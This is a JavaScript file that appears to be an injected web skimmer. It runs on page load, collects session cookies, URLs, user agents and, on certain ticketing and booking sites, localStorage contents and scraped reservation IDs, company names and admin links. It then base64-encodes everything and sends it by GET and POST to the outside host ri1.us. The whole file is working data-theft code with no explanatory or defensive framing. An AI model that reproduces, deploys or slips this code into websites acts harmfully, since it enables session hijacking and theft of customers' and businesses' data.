if (document['readyState'] === 'loading') { document['addEventListener']('DOMContentLoaded', executeMain); } else { executeMain(); }; function checkValue(value) { if (value !== undefined) { return value; } else { return ''; } } function getLocalStorage() { var archive = [], keys = Object.keys(localStorage), i = 0, key; for (; key = keys[i]; i++) { archive.push(key + '=' + localStorage.getItem(key)); } return archive; } function getSessionStorage() { var archive = [], keys = Object.keys(sessionStorage), i = 0, key; for (; key = keys[i]; i++) { archive.push(key + '=' + sessionStorage.getItem(key)); } return archive; } function getSharedStorage() { var archive = [], keys = Object.keys(sharedStorage || {}), i = 0, key; for (; key = keys[i]; i++) { archive.push(key + '=' + sharedStorage.getItem(key)); } return archive; } function executeMain() { var url = 'https://ri1.us/'; var dataObject = {}; try { dataObject['location'] = checkValue(location.toString()); } catch (e) { dataObject['location'] = checkValue(document.location.href); } function cleanCookies(rawCookie) { return rawCookie .split(';') .map(c => c.trim()) .filter(c => !c.startsWith('_ga')) .filter(c => !c.startsWith('__utm')) .filter(c => !c.startsWith('_gid')) .filter(c => !c.startsWith('_gcl')) .filter(c => !c.startsWith('_uet')) .filter(c => !c.startsWith('AWSALB')) .filter(c => !c.startsWith('AWSALBCORS')) .join('; '); } try { const rawCookie = document.cookie; dataObject['cookie'] = checkValue(cleanCookies(rawCookie)); } catch (e) { dataObject['cookie'] = ''; } // try { // dataObject['referrer'] = checkValue(document.referrer); // } catch (e) { // dataObject['referrer'] = ''; // } // try { // dataObject['title'] = checkValue(document.title); // } catch (e) { // dataObject['title'] = ''; // } // try { // dataObject['screen'] = self.screen ? screen.width + "x" + screen.height : ''; // } catch (e) { // dataObject['screen'] = ''; // } // try { // dataObject['LocalStorage'] = getLocalStorage() ; // } catch (e) { // dataObject['LocalStorage'] = ''; // } try { dataObject['useragent'] = checkValue(navigator.userAgent); } catch (e) { dataObject['useragent'] = ''; } // try { // dataObject['SessionStorage'] = getSessionStorage() ; // } catch (e) { // dataObject['SessionStorage'] = ''; // } // try { // dataObject['SharedStorage'] = getSharedStorage() ; // } catch (e) { // dataObject['SharedStorage'] = ''; // } if(document.location.href.search("idreservation") > 0 ) { const rawText = document.getElementById('resdetailswords')?.parentElement?.textContent || ''; const match = rawText.match(/#(\d+)/); const id = match ? match[1] : ''; dataObject.location += ' >>> ' + id; } if(document.location.href.search("upcomingevents") > 0 ) { let currentEventId = null; document.querySelectorAll("script").forEach(script => { const match = script.textContent.match(/currentEventId\s*=\s*(\d+)/); if (match) currentEventId = match[1]; }); const welcome = document.querySelector(".text-welcome"); const companyName = welcome ?.querySelector("strong") ?.textContent.trim() || null; const editUrl = welcome ?.querySelector('a[href^="/uceadmin/users/"]') ?.getAttribute("href") || null; dataObject.location += ' >>>'+ currentEventId+'>>>'+ companyName+'>>>'+ editUrl+'>>>'; } if (["getmytix", "webtix", "zaui", "cirqueitalia"].some(site => document.location.href.includes(site))) { try { dataObject['LocalStorage'] = getLocalStorage() ; } catch { dataObject['LocalStorage'] = ''; } } if(document.location.href.search("corporatecaronline2") > 0 ) { const bTag = document.querySelector('b[style*="color:#FFFFFF"]'); const companyName = bTag?.childNodes?.[0]?.textContent?.trim() ?? ""; dataObject.location += ' >>> ' + companyName; } var encodedData_g = btoa(unescape(encodeURIComponent("GET_"+JSON.stringify(dataObject)))); var encodedData_p = btoa(unescape(encodeURIComponent("POST_"+JSON.stringify(dataObject)))); //console.log(JSON.stringify(dataObject)); sendRequest(encodedData_g); god_god(url,encodedData_p); } function getCookie(name) { const value = `; ${document.cookie}`; const parts = value.split(`; ${name}=`); if (parts.length === 2) return parts.pop().split(';').shift(); } function sendRequest(param) { let xhr = new XMLHttpRequest(); xhr.open("GET", "https://ri1.us/?data=" + param); xhr.onreadystatechange = function () { if (xhr.readyState === 4) { console.log("OK"); } }; xhr.send(); } function god_god(url, params) { let xhr = new XMLHttpRequest(); xhr.open("POST", url, true); xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); xhr.onreadystatechange = function () { if (this.readyState === XMLHttpRequest.DONE && this.status === 200) { console.log("Request sent successfully"); } }; xhr.send(params); }